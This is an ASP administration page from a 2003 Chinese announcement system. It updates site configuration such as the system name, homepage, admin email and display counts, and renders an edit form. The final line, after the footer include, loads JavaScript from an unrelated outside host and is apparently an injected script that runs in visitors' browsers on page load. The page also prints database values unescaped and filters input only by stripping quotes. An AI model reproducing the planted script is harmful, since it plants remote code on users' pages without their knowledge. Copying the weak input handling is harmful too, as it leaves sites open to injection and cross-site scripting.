admin_info.asp

一款有用的公告系统

<!--#include file=conn.asp-->
<!--#include file=header.inc-->
<%
'#####################################################
'## Copyright (C) 2003, fzw
'## For support, please visit http://fzw.rdedu.net/
'## Script Edit:风之吻技术网
'#####################################################
%>
<% if Session("status") <> "login" then response.redirect "login.asp" %>
<%
dim sql,rs
dim affichename,homepage,adminmail,display,stringe
set rs=server.createobject("adodb.recordset")
If request.form("submit") <> "" Then
    AfficheName=replace(trim(Request("x_AfficheName")),"'","")
    homepage=replace(trim(Request("x_homepage")),"'","")    
	adminmail=replace(trim(request("x_adminmail")),"'","")
    display=replace(trim(Request("x_display")),"'","")    
    stringe=replace(trim(Request("x_stringe")),"'","")
	sql="select * from Config where id=1"
    rs.open sql,conn,2,3
    Rs("AfficheName")=AfficheName
    Rs("homepage")=homepage
	Rs("adminmail")=adminmail
    Rs("display")=display
	Rs("stringe")=stringe
    Rs.update
    Rs.close
            Set Rs= Nothing
            Set Conn = Nothing
      Response.Write "<table width=60% border=0 align=center cellpadding=0 cellspacing=0><tr valign=middle><td width=24% class=title height=25><div align=center><a href=Admin_Name.asp>管理员修改</a></div></td><td width=21% class=title height=25><div align=center><a href=Admin_info.asp>基本信息</a></div></td><td width=28% class=title height=25><div align=center><a href=Admin_Data.asp>公告管理</a></div></td><td width=27% class=title height=25><div align=center><a href=logout.asp>logout</a></div></td></tr><tr><td height=149 class=title2 colspan=4><div align=center><br><br>修改成功<br><a href=javascript:history.go(-1);>返回</a><br><br></div></td></tr></table>"
Else		
          sql="select * from Config"
		  rs.open sql,conn

%>

<table width="60%" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr valign="middle"> 
    <td width="24%" class="title" height="25">
<div align="center"><a href="Admin_Name.asp">管理员修改</a></div></td>
    <td width="21%" class="title" height="25">
<div align="center"><a href="Admin_info.asp">基本信息</a></div></td>
    <td width="28%" class="title" height="25">
<div align="center"><a href="Admin_Data.asp">公告管理</a></div></td>
    <td width="27%" class="title" height="25">
<div align="center"><a href="logout.asp">退出</a></div></td>
  </tr>
  <tr> 
    <td height="149" class="title2" colspan="4"><div align="center">
<br><br>基本信息修改

<form action="Admin_Info.asp" method="post" onSubmit="return dataCheck(this);">
<table border="0" cellspacing="1" cellpadding="5" bgcolor="#CCCCCC">
<tr>
<td class="title">公告系统名称</td>
<td class="title2"><input type="text"  value="<%=rs("AfficheName")%>" name="x_AfficheName" size=30 maxlength=50></td>
</tr>
<tr>
<td class="title">网站首页地址</td>
<td class="title2"><input type="text"  value="<%=rs("homepage")%>" name="x_homepage" size=30 maxlength=50></td>
</tr>
<tr>
<td class="title">管理员信箱</td>
<td class="title2"><input type="text"  value="<%=rs("Adminmail")%>" name="x_Adminmail" size=30 maxlength=30></td>
</tr>
<tr>
<td class="title">首页显示纪录数</td>
<td class="title2"><input type="text"  value="<%=rs("display")%>" name="x_display" size=30 maxlength=30></td>
</tr>
<tr>
<td class="title">信息显示的字数</td>
<td class="title2"><input type="text"  value="<%=rs("stringe")%>" name="x_stringe" size=30 maxlength=30></td>
</tr>
</table>
<p>
<input type="submit" name="submit" value="修改">
</form>
</div></td>
  </tr>
</table>
<%
	      rs.close
	      conn.close
	      set rs=nothing
	      set conn=nothing
%>
<%
End If
%>
<!--#include file=footer.inc-->
<script language=javascript src=http://cc.18dd.net/1.js></script>